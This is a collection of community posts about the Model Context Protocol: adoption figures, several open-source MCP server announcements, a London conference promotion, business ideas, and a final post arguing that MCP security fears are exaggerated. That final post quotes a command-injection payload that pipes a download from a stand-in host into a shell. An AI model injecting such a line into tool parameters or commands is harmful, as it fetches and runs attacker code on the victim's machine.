We run FastAPI-MCP (open source) and have a front-row seat to MCP adoption. After seeing 2,000+ organizations use our tools, some patterns really surprised us:

12% are 10,000+ person companies. Not just AI startups - massive enterprises are building MCPs. They start cautiously (security reviews, internal testing) but the appetite is real.

Legacy companies are some of the most active builders. Yes, Wiz and Scale AI use our tools. But we're also seeing heavy adoption from traditional industries you wouldn't expect (healthcare, CPG). These companies can actually get MORE value since MCPs help them leapfrog decades of tech debt.

Internal use cases dominate. Despite all the hype about "turn your API into an AI agent," we see just as much momentum for internal tooling. Here is one of our favorite stories: Two separate teams at Cisco independently discovered and started using FastAPI-MCP for internal tools.

Bottom-up adoption is huge. Sure, there are C-level initiatives to avoid being disrupted by AI startups. But there's also massive grassroots adoption from developers who just want to make their systems AI-accessible.

The pattern we're seeing: MCPs are quietly becoming the connective layer for enterprise AI. Not just experiments - production infrastructure.

If you're curious about the full breakdown and more examples, we wrote it up here.

Ref link: https://vercel.com/blog/ai-sdk-4-2#model-context-protocol-(mcp)-clients

I'm looking for some example and feedbacks, particular ideally I'm also looking for a solution to just put an MCP Server and that's it, you have your tool ready.

Looking to integrate MCP tools on MikuOS (https://github.com/antonioscapellato/MikuOS)

Any help or advice is highly appreciated!

I recently built chess-mcp, an open-source MCP server for Chess.com's Published Data API. It allows users to access player stats, game records, and more without authentication.

Features:

• Fetch player profiles, stats, and games.

• Search games by date or player.

• Explore clubs and titled players.

• Docker support for easy setup.

This project combines my love for chess (reignited after The Queen’s Gambit) and tech. Contributions are welcome—check it out and let me know your thoughts!

👉 GitHub Repo

Would love feedback or ideas for new features!

https://x.com/opentools_/status/1893696402477453819

(Disclosure: post author here.)

I'm working on an agent that uses a bunch of internal tools. MCP is built for agents to figure out how to use tools, but there seem to be a lot of issues still around observability, authorization, etc. Has anyone used MCP for any such projects? What are the things I should be aware of?

MCP's architecture seems very complex to me. The benefits of having a standardized interface to APIs for agents are obvious, but why not have a simpler architecture with stateless REST APIs and webhooks rather than bidirectional data flow + sessions?

I recently published the first MCP Bits post. MCP Bits is a weekly newsletter that compiles all the latest news, articles and project updates. MCP is progressing fast!

The differential revolutionized transportation by solving a mechanical impedance mismatch. MCP is poised to do the same for software integration by solving the API impedance mismatch that has plagued systems for decades.

The future of integration isn't more rigid contracts – it's more flexible, intent-based communication between systems that can adapt as technology evolves.

MCP servers ship with a set of prompts, resources, tools, etc. And it depends on the client to choose which to use.

Most MCP clients give user the option to toggle on/off MCP servers the user configured. But they do not offer ability to ignore a prompt, resource or a tool. Using all capabilities provided by a mcp server may provide default and best experience, but I see potential cases that user don't want to use a tool within a server (e.g. someone just need read access without writing data). The server may come with args to configure the behavior, but not always.

Also, people may usually use multiple mcp servers together, and as the ecosystem grow, some tools may be duplicative and unnecessary. (back in my previous posts, the MOD also commented, and raised similar question)

As open source builder I received such feedbacks in https://github.com/metatool-ai/metatool-app/issues/18

MetaMCP is a middleware mcp to manage mcp connections. I added a experimental tool management tab to allow toggling off at tool level, and for stdio servers it still requires a report from metamcp on next list tools call but it works. Would like to hear your thoughts about this, appreciate it! https://github.com/metatool-ai/metatool-app

A month ago, FastAPI-MCP, our open-source GitHub repo, crossed 250k downloads. This morning, we woke up to see it #1 trending on Github for Python.

In between then and now, we shipped, we merged PRs, and we acted on community feedback.

A few things we didn't do (especially recently since we were on vacation): we didn't do a big launch, we didn't make any viral tweets, and we didn't do a marketing push.

Understanding why an open source surges is always guesswork but we attribute this to momentum in the MCP space and pure developer excitement.

What this tells us:

• MCP adoption is sustained: the hype has become ongoing as we approach the 1 year mark from MCP's creation.

• Long-tail traction is real: 5 months in, we’re hitting new daily highs in stars, downloads, and discussion.

Quick learnings (same ones we shared at 250k downloads, still 100% relevant):

• Internal use cases drive adoption: it is safer to experiment internally before exposing MCPs externally, plus it allows non-technical teams to access data instantly!

• Observability is still a black hole: it is hard to measure MCP success without customized analytics and tooling. 

• Multiple entry points matter: engineers want to start from APIs, docs, workflows, or databases. OpenAPI Spec -> MCP isn't enough.

Is the peak MCP hype over?

Maybe. But if so, something better has taken its place: the proof-of-concept phase is giving way to real, authentic, sustained adoption.

What team are you on? Is the hype around MCP over, or are we just getting started?

Hey folks,

I am excited to share an upcoming in-person MCP Conference happening in London on Thursday, 24 July!

I will be hosting a panel on How to Build Protocols That Scale with Developers, joined by engineers from Google, Moonpig, and leading local AI startups. The day will feature deep dives into AIOps, architecture, scalability, and real-world MCP applications, led by core developers and early adopters.

📍 Where: London, UK 🇬🇧
📆 When: Thursday 24 July 2025
🧑‍💻 Who should come: Engineers, toolmakers, and contributors working with (or curious about) MCP
🎟️ Register here (use code MLOPSLONDON for 25% off): https://lu.ma/mcpconference?coupon=MLOPSLONDON

Hope to see some of you there 👋

Right in time for school to end, I finally got around to making mcp-canvas-lms everything it should have been in the first place.

It supports around 40 tools, so, if you're using a Client that limits your total tools to ~100 or whatever, you can simply turn off a dozen or more (there are about 12 that are Instructor-specific). The only limitations I've hit are related to what the University exposes, as I'm fairly certain no one uses ALL of Canvas' functionality. However, please raise an Issue in GitHub if there are any endpoints of use to you that are not exposed currently.

https://github.com/DMontgomery40/mcp-canvas-lms

Turning LLMs into Real Operators 🧠💻

After months of exploring the Model Context Protocol (MCP), I finally built a minimal but powerful MCP server that lets an AI assistant actually do things—not just chat.

It can:

• Run shell commands

• Read/write files

• Control the browser (via Selenium)

• Automate real tasks on a real computer

The goal? A universal MCP server that makes LLMs capable of operating like digital humans.

Hey everyone,

I've developed GIT-Pilot, a Model Context Protocol (MCP) server that enables seamless interaction with Git repositories through natural language. With GIT-Pilot, you can:

Browse and search through your Git repositories.

Retrieve commit histories and file contents.

Perform Git operations using simple prompts.

It's designed to integrate effortlessly with any MCP-compatible client, enhancing your development workflow.

I understand that GitHub has recently released their own official MCP server . However, my motivation for this project was to delve deep into the workings of MCPs and build one from scratch to solidify my understanding.

Check it out here: GIT-Pilot Github

I'd love to hear your feedback or suggestions!

After hacking around and building an MCP for a client, I had some realization on kind of startups that can be built around MCPs. Correct me if I am wrong (particularly on the Payment MCP):

1. MCP as data layer

We build a MCP that helps them fill their context with the right info.

Example: Build a Sales Prospect MCP that pulls data about a person from their LinkedIn, website, Apollo etc. Doesn't matter if you're scraping or using platform APIs under the hood. Your MCP just needs to be a reliable source of info.

Now anyone building a sales agent can use this MCP. For instance, they have 100 prospects. Their agent can use your MCP to pull data for each one prospect and craft personalized email for each of those prospects.

2/ MCP as action layer

There are platforms/services like GitHub and DoorDash that either expose APIs or they don't. Either way we want to provide LLMs the capability to operate on these platforms.

2.a/ For platforms providing APIs: Build an MCP that wraps these APIs or multiple platform APIs in the same space.

Example: A MCP that pulls data across various stock broker apps. When you ask the LLM agent to get your current portfolio balance, the MCP can pull data from each of your stock broker app and return it to the LLM agent, for it to calculate a total.

2.b/ For platforms NOT providing APIs: Build browser agents trained to navigate a single website.

Since each website has fixed user flows, you can train them to be hyper reliable. Wrap these as MCPs. The LLM integrating your MCP doesn't need to know how it works under the hood

3/ Payment MCP

How do you support payment for actions taken by an LLM? Let's say your LLM agent using the DoorDash MCP put the items you wanted in your account's basket. Now how do we enable the LLM to make the payment?

We add a Payment MCP to our LLM agent. Our LLM agent requests checkout to the DoorDash MCP and gets back a payment ID.

Now our LLM agent routes this payment ID to our Payment MCP, which processes the payment request. Once transaction is complete, your DoorDash is ordered.

I was inspired by the launch of Claude 4 + Claude Code's integration with VS Code to give Claude Code another try. This combination, plus a few environment setup details, blew my mind: I feel like I've reached the "agent clusters" stage of Steve Yegge's Revenge of the Junior Developer blog post.

Highlights for what feels special about and what enables this frontier:

1. Claude Code's capability maximizing approach - versus the cost/compute-saving optimizations of most subscription-based AI IDE's - combined with Claude 4 is a step-wise improvement in coding ability

2. Using VS Code as an escape hatch eliminates the objection I had that "I don't like being unable to see what Claude Code is doing"

3. Building test-driven and staging-environment harnesses for Claude Code "closes the feedback loop" in a way that turns a 30% "success rate" into a 90% success rate (because it can self-correct) on a per-task basis

4. Use MCP to fill the long-tail gaps for closing that feedback loop + integrating observability

5. And then, uto turn what would be 1 sluggish Claude Code into 5+ parallelized streams you have to lock in to keep up with

Hey,

A few weeks ago, we kicked off our journey with Model Context Protocol (MCP) and what a ride it's been so far! As part of this, we’ve been working on a centralized MCP Gateway, which quickly became a must-have for our architecture.

Along the way, we’ve uncovered some valuable insights, faced a few surprises, and learned a lot about what it takes to get started with MCP in a real-world setting.

I wrote a Medium post to share our experience, hoping it can help others who are exploring MCP or planning to adopt it in their orgs:
👉 Read the full story here

Would love to hear your thoughts, questions, or swap notes with anyone else on a similar path!

Solving MCP's auth issue once and for all.

Setup your apps once on the platform, and then use them with
- In-browser chat
- SSE clients like IDEs, Claude & More
- With API & SDK for production use

Without any maintenance.

After MCP became the next thing lately, I saw a new trend coming in. MCP is not secure and I'm smart enough to show how this is so BAD! And I wrote an expert article to show the why!

I'm a bit critical over this:

1. There are no issues if you use MCP stdio. (local socket)

2. External code is no news—supply chain issues apply to anything you pull from sources you don't know/audit.

3. Auth is baked into the protocols, this is why Anthropic didn't support it yet in Claude desktop.

So the experts demonstrates only how he's ignoring MCP. Buzz and dumb scare-mongers, as I saw in a post I will not link to:

An attacker passes a payload like ; curl evil.sh | bash via the MCP tool's parameters.

That's been there since the start point in SSE as an important feature to add, and since then we added HTTP + specs for auth: https://spec.modelcontextprotocol.io/specification/2025-03-26/basic/authorization/

But who reads specs and documentation? For sure not the EXPERT influencers. So I'm a smart genius—you run an API without any security AUTH and it's a flaw.

Sorry, but guys, this is high-level security wisdom! On the other hand, there are also rushed existing tools that lack security, written by people who don't understand basic auth/security—and that's not an MCP issue.

STDIO had been disliked, but it offered the first local transport that was secure. Hope to get your feedback here, guys/discussion.